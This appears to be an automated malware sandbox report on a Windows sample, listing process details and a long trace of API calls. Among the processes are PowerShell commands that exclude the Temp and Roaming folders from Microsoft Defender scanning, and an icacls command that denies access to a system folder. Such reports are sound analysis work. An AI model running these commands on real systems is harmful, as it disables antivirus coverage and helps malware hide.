                                                                                        Path:C:\Windows\System32\lsass.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:"C:\Windows\system32\lsass.exe"
                                                                                        Imagebase:0x7ff7ac940000
                                                                                        File size:59'456 bytes
                                                                                        MD5 hash:A1CC00332BBF370654EE3DC8CDC8C95A
                                                                                        Has elevated privileges:false
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:34
                                                                                        Start time:05:26:42
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'"
                                                                                        Imagebase:0x7ff6e3d50000
                                                                                        File size:452'608 bytes
                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:35
                                                                                        Start time:05:26:59
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'"
                                                                                        Imagebase:0x7ff6e3d50000
                                                                                        File size:452'608 bytes
                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        General

                                                                                        Target ID:36
                                                                                        Start time:05:27:19
                                                                                        Start date:15/10/2024
                                                                                        Path:C:\Windows\System32\icacls.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:icacls "C:\Windows\appcompat\ssh" /deny user:F
                                                                                        Imagebase:0x7ff769d60000
                                                                                        File size:39'424 bytes
                                                                                        MD5 hash:48C87E3B3003A2413D6399EA77707F5D
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Has exited:true

                                                                                        Disassembly

                                                                                        Reset < >

                                                                                          Execution Graph

                                                                                          Execution Coverage:8.5%
                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                          Signature Coverage:1.6%
                                                                                          Total number of Nodes:2000
                                                                                          Total number of Limit Nodes:83
                                                                                          execution_graph 7485 40b140 7486 40b158 7485->7486 7507 40db18 EnterCriticalSection 7486->7507 7488 40b16f 7489 40b322 7488->7489 7490 40b182 7488->7490 7491 40b1be 7488->7491 7492 40b199 7490->7492 7493 40b19c CreateFileW 7490->7493 7494 40b1c3 7491->7494 7495 40b1fc 7491->7495 7492->7493 7500 40b268 7493->7500 7496 40b1da 7494->7496 7497 40b1dd CreateFileW 7494->7497 7498 40b227 CreateFileW 7495->7498 7495->7500 7496->7497 7497->7500 7499 40b249 CreateFileW 7498->7499 7498->7500 7499->7500 7501 40b2a2 7500->7501 7503 40b28e HeapAlloc 7500->7503 7504 40b2f0 7500->7504 7501->7504 7505 40b2dc SetFilePointer 7501->7505 7503->7501 7506 40b301 7504->7506 7517 40da8a EnterCriticalSection 7504->7517 7505->7504 7508 40db32 7507->7508 7509 40db47 7507->7509 7525 40e1f2 HeapAlloc 7508->7525 7510 40db6c 7509->7510 7511 40db4c HeapReAlloc 7509->7511 7514 40db81 HeapAlloc 7510->7514 7515 40db75 7510->7515 7511->7510 7514->7515 7516 40db9d LeaveCriticalSection 7515->7516 7516->7488 7518 40dac1 7517->7518 7519 40daa2 7517->7519 7527 40e1b2 7518->7527 7519->7518 7520 40daa7 7519->7520 7522 40dab0 memset 7520->7522 7523 40dacd LeaveCriticalSection 7520->7523 7522->7523 7523->7489 7524 40dacb 7524->7523 7526 40db41 7525->7526 7526->7516 7528 40e1c3 HeapFree 7527->7528 7528->7524 10560 401f4c 10561 40e660 21 API calls 10560->10561 10562 401f54 10561->10562 10583 40e520 GetLastError TlsGetValue SetLastError 10562->10583 10564 401f5a 10584 40e520 GetLastError TlsGetValue SetLastError 10564->10584 10566 401f6b 10567 40e6c0 4 API calls 10566->10567 10568 401f73 10567->10568 10585 40e520 GetLastError TlsGetValue SetLastError 10568->10585 10570 401f79 10586 40e520 GetLastError TlsGetValue SetLastError 10570->10586 10572 401f81 10587 40a190 10572->10587 10576 401f8e 10591 405182 TlsGetValue 10576->10591 10578 401f99 10579 408e27 20 API calls 10578->10579 10580 401fa2 10579->10580 10581 4051a0 3 API calls 10580->10581 10582 401fa7 10581->10582 10582->10582 10583->10564 10584->10566 10585->10570 10586->10572 10592 40a120 10587->10592 10590 40e720 TlsGetValue 10590->10576 10591->10578 10593 40a130 10592->10593 10593->10593 10594 40e900 3 API calls 10593->10594 10595 401f88 10594->10595 10595->10590 7530 401000 memset GetModuleHandleW HeapCreate 7531 401044 7530->7531 7583 40e4d0 HeapCreate TlsAlloc 7531->7583 7533 401053 7586 40b120 7533->7586 7535 40105d 7589 40a1c0 HeapCreate 7535->7589 7537 40106c 7590 409669 7537->7590 7539 401071 7595 408dee memset InitCommonControlsEx CoInitialize 7539->7595 7541 401076 7596 4053b5 InitializeCriticalSection 7541->7596 7543 40107b 7597 405068 7543->7597 7547 4010c3 7600 40aa5a 7547->7600 7551 4010e9 7552 40aa5a 16 API calls 7551->7552 7553 4010f4 7552->7553 7554 40a9c8 13 API calls 7553->7554 7555 40110f 7554->7555 7611 40e266 7555->7611 7557 40112d 7558 405068 4 API calls 7557->7558 7559 40113d 7558->7559 7560 40aa5a 16 API calls 7559->7560 7561 401148 7560->7561 7562 40a9c8 13 API calls 7561->7562 7563 401163 SetConsoleCtrlHandler 7562->7563 7617 409fb0 7563->7617 7565 401180 7623 40e520 GetLastError TlsGetValue SetLastError 7565->7623 7567 401186 7624 402eed 7567->7624 7571 401197 7649 401ba0 7571->7649 7574 4011a7 7945 402fad 7574->7945 7575 4011ac 7756 403f53 7575->7756 8076 40ed40 HeapAlloc HeapAlloc TlsSetValue 7583->8076 7585 40e4f7 7585->7533 8077 40dbac HeapAlloc HeapAlloc InitializeCriticalSection 7586->8077 7588 40b12e 7588->7535 7589->7537 8078 40d9d3 7590->8078 7594 409687 InitializeCriticalSection 7594->7539 7595->7541 7596->7543 8088 40e7d0 7597->8088 7599 401095 GetStdHandle 7930 40a460 7599->7930 7601 40aa63 7600->7601 7602 4010ce 7600->7602 8095 40ab16 7601->8095 7940 40a9c8 HeapAlloc 7602->7940 7604 40aa6b 8102 40dfc6 7604->8102 7606 40aaa0 7608 40aab3 HeapFree 7606->7608 7609 40aaa7 HeapFree 7606->7609 7608->7602 7609->7608 7610 40aa8e HeapFree 7610->7606 7610->7610 8139 40e3b9 7611->8139 7614 40e283 RtlAllocateHeap 7615 40e2a2 memset 7614->7615 7616 40e2e6 7614->7616 7615->7616 7616->7557 7618 40a0d0 7617->7618 7619 40a0d8 7618->7619 7620 40a0fa SetUnhandledExceptionFilter 7618->7620 7621 40a0e1 SetUnhandledExceptionFilter 7619->7621 7622 40a0eb SetUnhandledExceptionFilter 7619->7622 7620->7565 7621->7622 7622->7565 7623->7567 8145 40e660 7624->8145 7628 402f02 8160 40e520 GetLastError TlsGetValue SetLastError 7628->8160 7630 402f57 8161 40e520 GetLastError TlsGetValue SetLastError 7630->8161 7632 402f5f 8162 40e520 GetLastError TlsGetValue SetLastError 7632->8162 7634 402f67 8163 40e520 GetLastError TlsGetValue SetLastError 7634->8163 7636 402f6f 8164 40d7a0 7636->8164 7640 402f8a 8169 405eb0 7640->8169 7642 402f92 8179 405170 TlsGetValue 7642->8179 7644 40118d 7645 40e560 TlsGetValue 7644->7645 7646 40e5a6 RtlReAllocateHeap 7645->7646 7647 40e589 RtlAllocateHeap 7645->7647 7648 40e5c7 7646->7648 7647->7648 7648->7571 7650 40e660 21 API calls 7649->7650 7651 401baf 7650->7651 8204 40e520 GetLastError TlsGetValue SetLastError 7651->8204 7653 401bb5 8205 40e520 GetLastError TlsGetValue SetLastError 7653->8205 7655 401bc7 8206 40e520 GetLastError TlsGetValue SetLastError 7655->8206 7657 401bcf 8207 409698 7657->8207 7661 401bdb LoadLibraryExW 7662 4051a0 3 API calls 7661->7662 7663 401be8 EnumResourceTypesW FreeLibrary 7662->7663 7681 401c13 7663->7681 7664 401cb1 7665 40ab16 4 API calls 7664->7665 7666 401cbc 7665->7666 8215 40e520 GetLastError TlsGetValue SetLastError 7666->8215 7668 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7668->7681 7669 401cc2 8216 40e520 GetLastError TlsGetValue SetLastError 7669->8216 7671 401cca 8217 40e520 GetLastError TlsGetValue SetLastError 7671->8217 7673 401cd2 8218 40e520 GetLastError TlsGetValue SetLastError 7673->8218 7675 40e520 GetLastError TlsGetValue SetLastError 7675->7681 7676 401cda 8219 40e520 GetLastError TlsGetValue SetLastError 7676->8219 7678 401ce7 8220 40e520 GetLastError TlsGetValue SetLastError 7678->8220 7680 401cef 8221 405e10 7680->8221 7681->7664 7681->7668 7681->7675 7683 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7681->7683 7725 401e27 7681->7725 7683->7681 7686 401cff 8230 40d780 7686->8230 7690 401d0c 7691 405eb0 6 API calls 7690->7691 7692 401d14 7691->7692 7693 40e560 3 API calls 7692->7693 7694 401d1e 7693->7694 8234 40e520 GetLastError TlsGetValue SetLastError 7694->8234 7696 401d28 8235 40e6c0 7696->8235 7698 401d30 7699 40e560 3 API calls 7698->7699 7700 401d3a 7699->7700 8240 40e520 GetLastError TlsGetValue SetLastError 7700->8240 7702 401d40 8241 40e520 GetLastError TlsGetValue SetLastError 7702->8241 7704 401d48 8242 40e520 GetLastError TlsGetValue SetLastError 7704->8242 7706 401d50 8243 40e520 GetLastError TlsGetValue SetLastError 7706->8243 7708 401d58 7709 40d780 8 API calls 7708->7709 7710 401d68 7709->7710 8244 405182 TlsGetValue 7710->8244 7712 401d6d 7713 405eb0 6 API calls 7712->7713 7714 401d75 7713->7714 7715 40e560 3 API calls 7714->7715 7716 401d7f 7715->7716 8245 40e520 GetLastError TlsGetValue SetLastError 7716->8245 7718 401d85 8246 40e520 GetLastError TlsGetValue SetLastError 7718->8246 7720 401d8d 8247 405f20 7720->8247 7722 401d9d 7723 40e560 3 API calls 7722->7723 7724 401da7 7723->7724 7724->7725 8255 40985e 7724->8255 7728 401e23 7730 40e5f0 HeapFree 7728->7730 7733 401e3c 7730->7733 7731 401dc6 8261 40e520 GetLastError TlsGetValue SetLastError 7731->8261 7735 40e5f0 HeapFree 7733->7735 7734 401dce 8262 409872 7734->8262 7737 401e45 7735->7737 7739 40e5f0 HeapFree 7737->7739 7741 401e4e 7739->7741 7742 40e5f0 HeapFree 7741->7742 7744 401e57 7742->7744 7743 401ddf 8272 405160 7743->8272 7746 40e5f0 HeapFree 7744->7746 7747 40119c 7746->7747 7747->7574 7747->7575 7748 401dea 7748->7728 8275 40e520 GetLastError TlsGetValue SetLastError 7748->8275 7750 401e03 8276 40e520 GetLastError TlsGetValue SetLastError 7750->8276 7752 401e0b 7753 409872 21 API calls 7752->7753 7754 401e17 7753->7754 7755 40e560 3 API calls 7754->7755 7755->7728 7757 403f59 7756->7757 7757->7757 7758 40e660 21 API calls 7757->7758 7774 403f6b 7758->7774 7759 40e520 GetLastError TlsGetValue SetLastError 7784 403fec 7759->7784 7760 405dc0 3 API calls 7760->7774 7761 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7761->7774 7762 405dc0 3 API calls 7762->7784 7763 40e520 GetLastError TlsGetValue SetLastError 7775 40406d 7763->7775 7764 40e520 GetLastError TlsGetValue SetLastError 7764->7774 7765 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7765->7784 7766 405dc0 3 API calls 7766->7775 7767 405dc0 3 API calls 7769 4040ee 7767->7769 7768 40e520 GetLastError TlsGetValue SetLastError 7776 40416f 7768->7776 7769->7767 7769->7776 7780 40e520 GetLastError TlsGetValue SetLastError 7769->7780 7792 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7769->7792 7799 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7769->7799 7770 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7770->7774 7771 405dc0 3 API calls 7771->7776 7772 40e520 GetLastError TlsGetValue SetLastError 7785 4041f0 7772->7785 7773 40e520 GetLastError TlsGetValue SetLastError 7777 404275 7773->7777 7774->7760 7774->7761 7774->7764 7774->7770 7774->7784 7775->7763 7775->7766 7775->7769 7779 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7775->7779 7797 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7775->7797 7776->7768 7776->7771 7776->7785 7793 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7776->7793 7804 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7776->7804 7777->7773 7782 4042fa 7777->7782 7794 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7777->7794 7806 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7777->7806 8307 405dc0 7777->8307 7778 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7778->7784 7779->7775 7780->7769 7781 405dc0 3 API calls 7781->7785 7788 40e520 GetLastError TlsGetValue SetLastError 7782->7788 7795 405dc0 3 API calls 7782->7795 7800 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7782->7800 7811 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7782->7811 7819 40437f 7782->7819 7783 404404 8310 40e520 GetLastError TlsGetValue SetLastError 7783->8310 7784->7759 7784->7762 7784->7765 7784->7775 7784->7778 7785->7772 7785->7777 7785->7781 7786 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7785->7786 7805 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7785->7805 7786->7785 7788->7782 7789 40e520 GetLastError TlsGetValue SetLastError 7789->7819 7791 404410 7796 40e6c0 4 API calls 7791->7796 7792->7769 7793->7776 7794->7777 7795->7782 7798 404418 7796->7798 7797->7775 7802 40e6c0 4 API calls 7798->7802 7799->7769 7800->7782 7801 405dc0 3 API calls 7801->7819 7803 404422 7802->7803 7807 40e560 3 API calls 7803->7807 7804->7776 7805->7785 7806->7777 7808 40442e 7807->7808 8311 40e520 GetLastError TlsGetValue SetLastError 7808->8311 7810 404434 8312 403221 7810->8312 7811->7782 7814 40e560 3 API calls 7816 40444d 7814->7816 7815 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7815->7819 7818 40985e 17 API calls 7816->7818 7817 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7817->7819 7820 404452 GetModuleHandleW 7818->7820 7819->7783 7819->7789 7819->7801 7819->7815 7819->7817 8405 40e520 GetLastError TlsGetValue SetLastError 7820->8405 7822 40446b 8406 40e520 GetLastError TlsGetValue SetLastError 7822->8406 7824 404473 8407 40e520 GetLastError TlsGetValue SetLastError 7824->8407 7826 40447b 8408 40e520 GetLastError TlsGetValue SetLastError 7826->8408 7828 404483 7829 40d780 8 API calls 7828->7829 7830 404495 7829->7830 8409 405182 TlsGetValue 7830->8409 7832 40449a 7833 405eb0 6 API calls 7832->7833 7834 4044a2 7833->7834 7835 40e560 3 API calls 7834->7835 7836 4044ac 7835->7836 8410 40e520 GetLastError TlsGetValue SetLastError 7836->8410 7838 4044b2 8411 40e520 GetLastError TlsGetValue SetLastError 7838->8411 7840 4044ba 8412 40e520 GetLastError TlsGetValue SetLastError 7840->8412 7842 4044c2 8413 40e520 GetLastError TlsGetValue SetLastError 7842->8413 7844 4044ca 7845 40d780 8 API calls 7844->7845 7846 4044da 7845->7846 8414 405182 TlsGetValue 7846->8414 7848 4044df 7849 405eb0 6 API calls 7848->7849 7850 4044e7 7849->7850 7851 40e560 3 API calls 7850->7851 7852 4044f1 7851->7852 8415 402e49 7852->8415 7856 404504 8432 402150 7856->8432 7859 4051a0 3 API calls 7860 404514 7859->7860 8546 40196c 7860->8546 7866 404528 8637 403539 7866->8637 7869 40e560 3 API calls 7870 40454e PathRemoveBackslashW 7869->7870 7871 404562 7870->7871 8765 40e520 GetLastError TlsGetValue SetLastError 7871->8765 7873 404568 8766 40e520 GetLastError TlsGetValue SetLastError 7873->8766 7875 404570 8767 402ba6 7875->8767 7879 404582 8797 405182 TlsGetValue 7879->8797 7881 40458b 8798 4099a5 7881->8798 7884 4051a0 3 API calls 7885 404599 7884->7885 8802 40e520 GetLastError TlsGetValue SetLastError 7885->8802 7887 4045a5 7888 40e6c0 4 API calls 7887->7888 7889 4045ad 7888->7889 7890 40e6c0 4 API calls 7889->7890 7891 4045b9 7890->7891 7892 40e560 3 API calls 7891->7892 7893 4045c5 7892->7893 8803 403801 7893->8803 7897 4045d0 8997 401e66 7897->8997 7900 40e560 3 API calls 7901 4045e5 7900->7901 7902 4045f0 7901->7902 7903 404608 7901->7903 9127 40548c CreateThread 7902->9127 9137 402c55 7903->9137 7907 404611 9043 403c83 7907->9043 10417 40a54f 7930->10417 7933 40a524 7933->7547 7934 40a48b HeapAlloc 7936 40a513 HeapFree 7934->7936 7937 40a4ae 7934->7937 7936->7933 10428 40de99 7937->10428 7941 40a9e7 HeapAlloc 7940->7941 7942 40a9fc 7940->7942 7941->7942 7943 40de99 11 API calls 7942->7943 7944 40aa4f 7943->7944 7944->7551 7946 40e660 21 API calls 7945->7946 7947 402fba 7946->7947 10461 40e520 GetLastError TlsGetValue SetLastError 7947->10461 7949 402fc0 10462 40e520 GetLastError TlsGetValue SetLastError 7949->10462 7951 402fc8 10463 40e520 GetLastError TlsGetValue SetLastError 7951->10463 7953 402fd0 10464 40e520 GetLastError TlsGetValue SetLastError 7953->10464 7955 402fd8 7956 40d780 8 API calls 7955->7956 7957 402fea 7956->7957 10465 405182 TlsGetValue 7957->10465 7959 402fef 7960 405eb0 6 API calls 7959->7960 7961 402ff7 7960->7961 7962 40e560 3 API calls 7961->7962 7963 403001 7962->7963 10466 40e520 GetLastError TlsGetValue SetLastError 7963->10466 7965 403007 10467 40e520 GetLastError TlsGetValue SetLastError 7965->10467 7967 40300f 10468 40e520 GetLastError TlsGetValue SetLastError 7967->10468 7969 403017 10469 40e520 GetLastError TlsGetValue SetLastError 7969->10469 7971 40301f 7972 40d780 8 API calls 7971->7972 7973 40302f 7972->7973 10470 405182 TlsGetValue 7973->10470 7975 403034 7976 405eb0 6 API calls 7975->7976 7977 40303c 7976->7977 7978 40e560 3 API calls 7977->7978 7979 403046 7978->7979 7980 402e49 35 API calls 7979->7980 7981 40304e 7980->7981 10471 40e520 GetLastError TlsGetValue SetLastError 7981->10471 7983 403058 7984 402150 122 API calls 7983->7984 7985 403063 7984->7985 7986 4051a0 3 API calls 7985->7986 7987 403068 7986->7987 10472 40e520 GetLastError TlsGetValue SetLastError 7987->10472 7989 40306e 10473 40e520 GetLastError TlsGetValue SetLastError 7989->10473 7991 403076 7992 409355 33 API calls 7991->7992 7993 403089 7992->7993 7994 40e560 3 API calls 7993->7994 7995 403093 7994->7995 7996 4031ea 7995->7996 10474 40e520 GetLastError TlsGetValue SetLastError 7995->10474 7996->7996 7998 4030aa 10475 40e520 GetLastError TlsGetValue SetLastError 7998->10475 8000 4030b2 10476 40e520 GetLastError TlsGetValue SetLastError 8000->10476 8002 4030ba 10477 40e520 GetLastError TlsGetValue SetLastError 8002->10477 8004 4030c2 8005 40d780 8 API calls 8004->8005 8006 4030d4 8005->8006 10478 405182 TlsGetValue 8006->10478 8008 4030d9 8009 405eb0 6 API calls 8008->8009 8010 4030e1 8009->8010 8011 40e560 3 API calls 8010->8011 8012 4030eb 8011->8012 10479 40e520 GetLastError TlsGetValue SetLastError 8012->10479 8014 4030f1 10480 40e520 GetLastError TlsGetValue SetLastError 8014->10480 8016 4030f9 10481 40e520 GetLastError TlsGetValue SetLastError 8016->10481 8018 403101 10482 40e520 GetLastError TlsGetValue SetLastError 8018->10482 8020 403109 8021 40d780 8 API calls 8020->8021 8022 40311b 8021->8022 10483 405182 TlsGetValue 8022->10483 8024 403120 8025 405eb0 6 API calls 8024->8025 8026 403128 8025->8026 8027 40e560 3 API calls 8026->8027 8028 403132 8027->8028 10484 40e520 GetLastError TlsGetValue SetLastError 8028->10484 8030 403138 8031 403e37 84 API calls 8030->8031 8032 403148 8031->8032 8033 40e560 3 API calls 8032->8033 8034 403154 8033->8034 10485 40e520 GetLastError TlsGetValue SetLastError 8034->10485 8036 40315a 8037 403e37 84 API calls 8036->8037 8038 40316a 8037->8038 8039 40e560 3 API calls 8038->8039 8040 403174 PathAddBackslashW 8039->8040 10486 40e520 GetLastError TlsGetValue SetLastError 8040->10486 8042 403183 10487 40e520 GetLastError TlsGetValue SetLastError 8042->10487 8044 403193 8045 40e6c0 4 API calls 8044->8045 8046 40319b 8045->8046 8047 40e6c0 4 API calls 8046->8047 8048 4031a7 8047->8048 10488 405182 TlsGetValue 8048->10488 8050 4031ac 8051 4023b8 34 API calls 8050->8051 8052 4031b4 8051->8052 8053 4051a0 3 API calls 8052->8053 8054 4031b9 8053->8054 10489 40e520 GetLastError TlsGetValue SetLastError 8054->10489 8056 4031c3 8057 40e6c0 4 API calls 8056->8057 8058 4031cb 8057->8058 8059 40e560 3 API calls 8058->8059 8060 4031d7 PathRemoveBackslashW 8059->8060 8061 402c55 141 API calls 8060->8061 8061->7996 8076->7585 8077->7588 8079 40d9e2 8078->8079 8080 40da20 TlsGetValue HeapReAlloc TlsSetValue 8079->8080 8081 40d9f8 TlsAlloc HeapAlloc TlsSetValue 8079->8081 8082 40da60 8080->8082 8083 40da5c 8080->8083 8081->8080 8084 40e1f2 HeapAlloc 8082->8084 8083->8082 8085 409674 8083->8085 8086 40da6c 8084->8086 8087 40dbac HeapAlloc HeapAlloc InitializeCriticalSection 8085->8087 8086->8085 8087->7594 8089 40e7e1 wcslen 8088->8089 8090 40e84d 8088->8090 8091 40e816 HeapReAlloc 8089->8091 8092 40e7f8 HeapAlloc 8089->8092 8093 40e855 HeapFree 8090->8093 8094 40e838 8090->8094 8091->8094 8092->8094 8093->8094 8094->7599 8096 40ab46 8095->8096 8100 40ab27 8095->8100 8097 40ab44 8096->8097 8098 40ddcb 3 API calls 8096->8098 8097->7604 8098->8096 8100->8097 8115 41242a 8100->8115 8120 40ddcb 8100->8120 8103 40dfd3 EnterCriticalSection 8102->8103 8104 40e038 8102->8104 8106 40e02e LeaveCriticalSection 8103->8106 8107 40dfef 8103->8107 8130 40dd5d 8104->8130 8108 40aa73 8106->8108 8110 40dfc6 4 API calls 8107->8110 8108->7606 8108->7610 8113 40dff9 HeapFree 8110->8113 8111 40e044 DeleteCriticalSection 8112 40e04e HeapFree 8111->8112 8112->8108 8113->8106 8116 412525 8115->8116 8119 412442 8115->8119 8116->8100 8117 41242a HeapFree 8117->8119 8119->8116 8119->8117 8127 40e5f0 8119->8127 8121 40ddd8 EnterCriticalSection 8120->8121 8124 40dde2 8120->8124 8121->8124 8122 40de94 8122->8100 8123 40de8a LeaveCriticalSection 8123->8122 8125 40de4b 8124->8125 8126 40de35 HeapFree 8124->8126 8125->8122 8125->8123 8126->8125 8128 40e5fb HeapFree 8127->8128 8129 40e60e 8127->8129 8128->8129 8129->8119 8131 40dd75 8130->8131 8132 40dd6b EnterCriticalSection 8130->8132 8133 40dd92 8131->8133 8134 40dd7c HeapFree 8131->8134 8132->8131 8135 40dd98 HeapFree 8133->8135 8136 40ddae 8133->8136 8134->8133 8134->8134 8135->8135 8135->8136 8137 40ddc5 8136->8137 8138 40ddbb LeaveCriticalSection 8136->8138 8137->8111 8137->8112 8138->8137 8140 40e277 8139->8140 8144 40e3c2 8139->8144 8140->7614 8140->7616 8141 40e3ed HeapFree 8141->8140 8142 40e3eb 8142->8141 8143 41242a HeapFree 8143->8144 8144->8141 8144->8142 8144->8143 8146 40e68a TlsGetValue 8145->8146 8147 40e66c 8145->8147 8149 402ef9 8146->8149 8150 40e69b 8146->8150 8148 40e4d0 5 API calls 8147->8148 8151 40e671 TlsGetValue 8148->8151 8157 4051a0 8149->8157 8189 40ed40 HeapAlloc HeapAlloc TlsSetValue 8150->8189 8180 412722 8151->8180 8154 40e6a0 TlsGetValue 8156 412722 13 API calls 8154->8156 8156->8149 8190 40ee20 GetLastError TlsGetValue SetLastError 8157->8190 8159 4051ab 8159->7628 8160->7630 8161->7632 8162->7634 8163->7636 8166 40d7ad 8164->8166 8191 40d8a0 8166->8191 8168 405182 TlsGetValue 8168->7640 8170 405ebd 8169->8170 8201 40e880 TlsGetValue 8170->8201 8173 40e900 3 API calls 8174 405ed1 8173->8174 8176 405edd 8174->8176 8203 40ea10 TlsGetValue 8174->8203 8177 405f0d 8176->8177 8178 405f00 CharUpperW 8176->8178 8177->7642 8178->7642 8179->7644 8181 412732 TlsAlloc InitializeCriticalSection 8180->8181 8182 41274e TlsGetValue 8180->8182 8181->8182 8183 412764 HeapAlloc 8182->8183 8184 4127eb HeapAlloc 8182->8184 8185 41277e EnterCriticalSection 8183->8185 8186 40e688 8183->8186 8184->8186 8187 412790 7 API calls 8185->8187 8188 41278e 8185->8188 8186->8149 8187->8184 8188->8187 8189->8154 8190->8159 8192 40d8ac 8191->8192 8195 40e900 TlsGetValue 8192->8195 8196 40e91b 8195->8196 8197 40e941 HeapReAlloc 8196->8197 8198 40e974 8196->8198 8199 402f85 8197->8199 8198->8199 8200 40e990 HeapReAlloc 8198->8200 8199->8168 8200->8199 8202 405ec5 8201->8202 8202->8173 8203->8176 8204->7653 8205->7655 8206->7657 8208 40e900 3 API calls 8207->8208 8209 4096aa GetModuleFileNameW wcscmp 8208->8209 8210 4096e5 8209->8210 8211 4096cd memmove 8209->8211 8277 40ea90 TlsGetValue 8210->8277 8211->8210 8213 401bd6 8214 405182 TlsGetValue 8213->8214 8214->7661 8215->7669 8216->7671 8217->7673 8218->7676 8219->7678 8220->7680 8222 405e1d 8221->8222 8223 40e880 TlsGetValue 8222->8223 8224 405e40 8223->8224 8225 40e900 3 API calls 8224->8225 8226 405e4c 8225->8226 8227 401cfa 8226->8227 8278 40ea10 TlsGetValue 8226->8278 8229 405182 TlsGetValue 8227->8229 8229->7686 8279 40d700 8230->8279 8233 405182 TlsGetValue 8233->7690 8234->7696 8236 40e6e2 8235->8236 8237 40e6d3 wcslen 8235->8237 8238 40e900 3 API calls 8236->8238 8237->8236 8239 40e6ed 8238->8239 8239->7698 8240->7702 8241->7704 8242->7706 8243->7708 8244->7712 8245->7718 8246->7720 8248 405f2e 8247->8248 8249 40e880 TlsGetValue 8248->8249 8250 405f4a 8249->8250 8251 40e900 3 API calls 8250->8251 8252 405f56 8251->8252 8254 405f62 8252->8254 8295 40ea10 TlsGetValue 8252->8295 8254->7722 8296 40d968 TlsGetValue 8255->8296 8260 40e520 GetLastError TlsGetValue SetLastError 8260->7731 8261->7734 8263 40d968 16 API calls 8262->8263 8264 409885 8263->8264 8265 40973a 17 API calls 8264->8265 8266 409898 8265->8266 8267 40e900 3 API calls 8266->8267 8268 4098a6 8267->8268 8305 40ea90 TlsGetValue 8268->8305 8270 401dda 8271 40e720 TlsGetValue 8270->8271 8271->7743 8306 40ede0 TlsGetValue 8272->8306 8274 40516a 8274->7748 8275->7750 8276->7752 8277->8213 8278->8227 8280 40d712 8279->8280 8281 40d75d 8280->8281 8284 40d732 8280->8284 8282 40d8a0 3 API calls 8281->8282 8283 401d07 8282->8283 8283->8233 8288 412840 8284->8288 8286 40d738 8294 412830 free 8286->8294 8289 4128b4 malloc 8288->8289 8290 41284c WideCharToMultiByte 8288->8290 8289->8286 8290->8289 8292 412880 malloc 8290->8292 8292->8289 8293 412892 WideCharToMultiByte 8292->8293 8293->8286 8294->8281 8295->8254 8297 40d97b HeapAlloc TlsSetValue 8296->8297 8300 409869 8296->8300 8298 40d9a7 8297->8298 8299 412722 13 API calls 8298->8299 8299->8300 8301 40973a 8300->8301 8302 40d968 16 API calls 8301->8302 8303 40974b GetCommandLineW 8302->8303 8304 401dbc 8303->8304 8304->7728 8304->8260 8305->8270 8306->8274 8308 40e900 3 API calls 8307->8308 8309 405dcb 8308->8309 8309->7777 8310->7791 8311->7810 8313 403227 8312->8313 8313->8313 8314 40e660 21 API calls 8313->8314 8315 403239 8314->8315 8316 4051a0 3 API calls 8315->8316 8317 403242 8316->8317 9217 405060 8317->9217 8320 405060 2 API calls 8321 40325b 8320->8321 9220 402b6d 8321->9220 8324 403264 9225 405573 GetVersionExW 8324->9225 8325 403277 8328 403281 8325->8328 8329 4033e7 8325->8329 9231 40e520 GetLastError TlsGetValue SetLastError 8328->9231 9263 40e520 GetLastError TlsGetValue SetLastError 8329->9263 8332 4033ed 9264 40e520 GetLastError TlsGetValue SetLastError 8332->9264 8333 403287 9232 40e520 GetLastError TlsGetValue SetLastError 8333->9232 8336 4033f5 8338 4062c0 3 API calls 8336->8338 8337 40328f 9233 4062c0 8337->9233 8341 403401 8338->8341 8343 40e560 3 API calls 8341->8343 8342 40e560 3 API calls 8344 4032a5 GetWindowsDirectoryW PathAddBackslashW 8342->8344 8345 40340b GetSystemDirectoryW PathAddBackslashW 8343->8345 9236 40e520 GetLastError TlsGetValue SetLastError 8344->9236 8396 4033e5 8345->8396 8347 4032c6 8350 40e6c0 4 API calls 8347->8350 8349 40342c 8351 40e6c0 4 API calls 8349->8351 8352 4032ce 8350->8352 8353 403434 8351->8353 8354 40e6c0 4 API calls 